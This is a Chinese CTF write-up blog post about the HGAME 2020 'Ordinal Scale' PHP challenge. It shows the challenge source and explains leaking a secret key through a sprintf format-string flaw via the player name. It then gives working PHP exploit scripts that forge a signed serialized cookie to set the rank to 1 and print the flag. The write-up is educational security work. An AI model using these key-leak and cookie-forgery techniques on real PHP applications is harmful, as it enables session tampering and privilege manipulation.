HGAME 2020 Week_3 “序列之争Ordinal Scale” Writeup – 一道反序列化ctf题目分析 8 min read
本文最后更新于 601 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog: www.gem-love.com

CTF ID: Y1ng


得到源码

打开题目,是个游戏,点一下即可挑战,挑战成功就会增加排名,挑战失败就是失败了

查看源代码,发现source.zip,下载下来得到源代码

game.php:

<?php
    error_reporting(0);
    include_once('cardinal.php');
    if(isset($_SESSION['player'])){
        $playerName = $_SESSION['player'];
    }else{
        $playerName = $_POST['player'] ?? '';
        if($playerName === '' || is_array($playerName)){
            header('Location: index.php');
            exit;
        }
    }

    $game = new Game($playerName);
?>
<html lang="en"><head>
    <meta charset="utf-8">
    <title>Ordinal Scale · 序列之争</title>
    <!-- Bootstrap core CSS -->
    <link href="/static/bootstrap.min.css" rel="stylesheet"></link>

    <style>
      .bd-placeholder-img {
        font-size: 1.125rem;
        text-anchor: middle;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
      }

      @media (min-width: 768px) {
        .bd-placeholder-img-lg {
          font-size: 3.5rem;
        }
      }
    </style>
    <link href="/static/cover.css" rel="stylesheet">
  </head>
  <body class="text-center" style="background-image:url('/static/bg.jpg')">
    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
  <header class="masthead mb-auto">
    <div class="inner">
      <h3 class="masthead-brand">Ordinal Scale</h3>
      <nav class="nav nav-masthead justify-content-center">
        <span class="nav-link active"><b>当前排名: <?php echo($game->rank->Get());?></b></span>
        <span class="nav-link active">经验: <?php echo($_SESSION['exp']);?></span>
        <a class="nav-link" href="#">登出</a>
      </nav>
    </div>
  </header>

  <main role="main" class="inner cover">
    <h2 class="cover-heading"><?php echo($game->welcomeMsg);?></h2>
    <h1># <?php echo($game->rank->Get());?></h1>
    <?php if($game->rank->Get() === 1){?>
        <h2>hgame{flag_is_here}</h2>
    <?php }?>
    <br>
    <div class="card" style="color: #007bff;">
        <h2 class="card-header"><?php echo($game->monster->Get()['name']);?></h2>
        <div class="card-body">
            <h5 class="card-title">等级: <?php echo($game->monster->Get()['no']);?></h5>
            <h5>
            <?php if(isset($_POST['battle'])){
                $fight = $game->rank->Fight($game->monster->Get());
                echo($fight['msg']);

                if(!$fight['result']){
                    $_SESSION['player'] = NULL;
                }
            }
                $game->monster->Set();
            ?>
            </h5>
            <form method="POST" action="">
                <input type="hidden" name="battle" value="1"></input>
                <br><br>
                <?php if(isset($_POST['battle']) && !$fight['result']){?>
                    <button class="btn">退出</button>
                <?php }else{?>
                    <button class="btn btn-primary">挑战!</button>
                <?php } ?>
            </form>
        </div>
    </div>

  </main>

 <?php include_once('template/footer.php');?>

cardinal.php:

<?php
error_reporting(0);
session_start();

class Game
{   
    private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

    private $sign = '';
    public $rank;

    public function __construct($playerName){
        $_SESSION['player'] = $playerName;
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;
        }
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }
}

class Rank
{
    private $rank;
    private $serverKey;     // 服务器的 Key
    private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

    public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));
            return;
        }

        $this->Set($_SESSION['rank']);
    }

    public function Set($no){
        $this->rank = $no;
    }

    public function Get(){
        return $this->rank;
    }

    public function Fight($monster){
        if($monster['no'] >= $this->rank){
            $this->rank -= rand(5, 15);
            if($this->rank <= 2){
                $this->rank = 2;
            }

            $_SESSION['exp'] += rand(20, 200);
            return array(
                'result' => true, 
                'msg' => '<span style="color:green;">Congratulations! You win! </span>'
            );
        }else{
            return array(
                'result' => false, 
                'msg' => '<span style="color:red;">You die!</span>'
            );
        }
    }

    public function __destruct(){
        // 确保程序是跑在服务器上的!
        $this->serverKey = $_SERVER['key'];
        if($this->key === $this->serverKey){
            $_SESSION['rank'] = $this->rank;
        }else{
            // 非正常访问
            session_start();
            session_destroy();
            setcookie('monster', '');
            header('Location: index.php');
            exit;
        }
    }
}

class Monster
{
    private $monsterData;
    private $encryptKey;

    public function __construct($key){
        $this->encryptKey = $key;
        if(!isset($_COOKIE['monster'])){
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }
        
        $this->Set();     
    }

    public function Set(){
        $monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
        $this->monsterData = array(
            'name' => $monsterName[array_rand($monsterName, 1)],
            'no' => rand(1, 2000),
        );
        $this->Save();
    }

    public function Get(){
        return $this->monsterData;
    }

    private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
    }
}
代码审计

这代码有点长,就不一一解释了,主要是cardinal.php文件内Monster类__construct()方法内存在反序列化位点:

$monsterData = base64_decode($_COOKIE['monster']);
     if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
      }

而且是直接取cookie进行base64_decode(),cookie又是我们可控的

在game.php中,需要$rank为1才得到flag:

<h1># <?php echo($game->rank->Get());?></h1>
    <?php if($game->rank->Get() === 1){?>
        <h2>hgame{flag_is_here}</h2>
    <?php }?>

而在cardinal.php,Rank对象的Fight()方法中,$rank最小永远是2,通过游戏方法是永远无法达到1的:

class Rank
{
    public function Fight($monster){
        if($monster['no'] >= $this->rank){
            if($this->rank <= 2){
                $this->rank = 2;
            }
        }
    }
}

所以必须要想办法构造序列化,放到cookie上,通过反序列化覆盖$rank为1得到flag。

Game类与sprintf()格式化漏洞
class Game
{   
    private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
    private $sign = '';

    public function __construct($playerName){
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
    }

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }
}

Game类中有一个私有属性$encryptKey和公有属性$welcomeMsg$encryptKey是个未知的密钥;init()方法内foreach()两轮循环,有一个sprintf()输出一个字符串,另外通过玩家名和$encryptKey来计算一个用户的签名$sign

本地测试,假设玩家名为y1ng,输出一下两轮循环中$welcomeMsg$sign 

看似正常,其实漏洞位于这句代码:

$this->welcomeMsg = sprintf($this->welcomeMsg, $value);

第一轮循环sprintf()输出[用户名], Welcome to Ordinal Scale!再赋值给$this->welcomeMsg,之后进入第二轮循环;

第二轮循环中,$value是密钥,$this->welcomeMsg[用户名], Welcome to Ordinal Scale!,再进行一次sprintf()

sprintf()函数存在一个格式化字符串漏洞,即不会对字符串进行检查,如果出现%s就会格式化输出。

假设我们的用户名是y1ng%s,第二轮循环中的springf()就变成了sprintf('y1ng%s, Welcome to Ordinal Scale!', $value); 就会输出$value字符串了,此时$value正好是$this->encryptKey,就把这个key格式化出来了

输入用户名%s,得到$encryptKeygkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL

计算用户签名

这里逻辑挺乱的,不容易讲清楚。

cookie是序列化字符串与$sign连起来后base64编码,而$sign是序列化字符串并置$this->encryptKey后取md5,这里的$this->encryptKey并不是sprintf()格式化打出来的那个Game类中的$encryptKey属性,而是Game->init($data)计算出来的$sign,也就是所谓的“用户签名”。

想要反序列化也是有条件的,其实说白了就是要验证这个“用户签名”,具体的逻辑就不一点点讲了,可以看代码:

Monster类__construct()构造魔术方法:

$this->encryptKey = $key; //这个$key就是Game类中的$sign: $this->monster = new Monster($this->sign);
if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }

Save()方法:

private function Save(){
        $sign = md5(serialize($this->monsterData) . $this->encryptKey);
        setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
    }

现在我们已经格式化打出了他的神秘密钥,就可以自己计算签名了,exp:

<?php
$encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'; //%s出来的密钥
$welcomeMsg = '%s, Welcome to Ordinal Scale!';

$playerName = 'y1ng';

$data = [$playerName, $encryptKey];
$sign = '';
foreach($data as $key => $value){
    $welcomeMsg = sprintf($welcomeMsg, $value);
    $sign .= md5($sign . $value);
//    echo $welcomeMsg . "<br>" . $sign . "<br><br>";
}
echo $sign;

用户名为y1ng,得到签名:

770f0f8b605cfd2ba494849d948d34efe1a3a0c7e1c26a5abcedaf71f25d9583
构造序列化

需要构造出序列化字符串,将序列化字符串与签名并置后MD5哈希,再将序列化字符串与该哈希值并置后base64编码,就是我们要的cookie了,exp:

<?php
//Author: 颖奇LAmore
//Blog: www.gem-love.com
class Game
{
    private $encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
    public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
    private $sign = '770f0f8b605cfd2ba494849d948d34efe1a3a0c7e1c26a5abcedaf71f25d9583';
    public $rank;
    public function __construct(){
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }
}

class Rank
{
    private $rank = 1;
//    private $serverKey;     // 服务器的 Key
//    private $key;
}

class Monster
{
    private $monsterData;
    private $encryptKey;

    public function __construct($key){
        $this->encryptKey = $key;
        $this->set();
    }

    public function Set(){
        $monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
        $this->monsterData = array(
            'name' => $monsterName[array_rand($monsterName, 1)],
            'no' => rand(1, 2000),
        );
    }
}

$y1ng = new Game();
$ser = serialize($y1ng);
$Sign = md5($ser.'770f0f8b605cfd2ba494849d948d34efe1a3a0c7e1c26a5abcedaf71f25d9583');
echo "序列化:<br>".$ser."<br><br><br>";
echo "sign:<br>" . $Sign . "<br><br><br><br>";
echo "cookie: <br>" . base64_encode($ser.$Sign);

echo出的cookie为:

Tzo0OiJHYW1lIjo1OntzOjE2OiIAR2FtZQBlbmNyeXB0S2V5IjtzOjMyOiJna1VGVWE3R2ZQUXVpM0RHVVRIWDZYSVVTM1pBbUNsTCI7czoxMDoid2VsY29tZU1zZyI7czoyOToiJXMsIFdlbGNvbWUgdG8gT3JkaW5hbCBTY2FsZSEiO3M6MTA6IgBHYW1lAHNpZ24iO3M6NjQ6Ijc3MGYwZjhiNjA1Y2ZkMmJhNDk0ODQ5ZDk0OGQzNGVmZTFhM2EwYzdlMWMyNmE1YWJjZWRhZjcxZjI1ZDk1ODMiO3M6NDoicmFuayI7Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fXM6NzoibW9uc3RlciI7Tzo3OiJNb25zdGVyIjoyOntzOjIwOiIATW9uc3RlcgBtb25zdGVyRGF0YSI7YToyOntzOjQ6Im5hbWUiO3M6MjA6IuWwj

来到题目,以y1ng为用户名登录,手动设置monster这个cookie为我们生成出来的这个cookie

带着新cookie点下挑战,即可得到flag:hgame{Unserial1ze_1s_RiskFuL_S0_y0u_Must_payatt3ntion}

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/1021.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇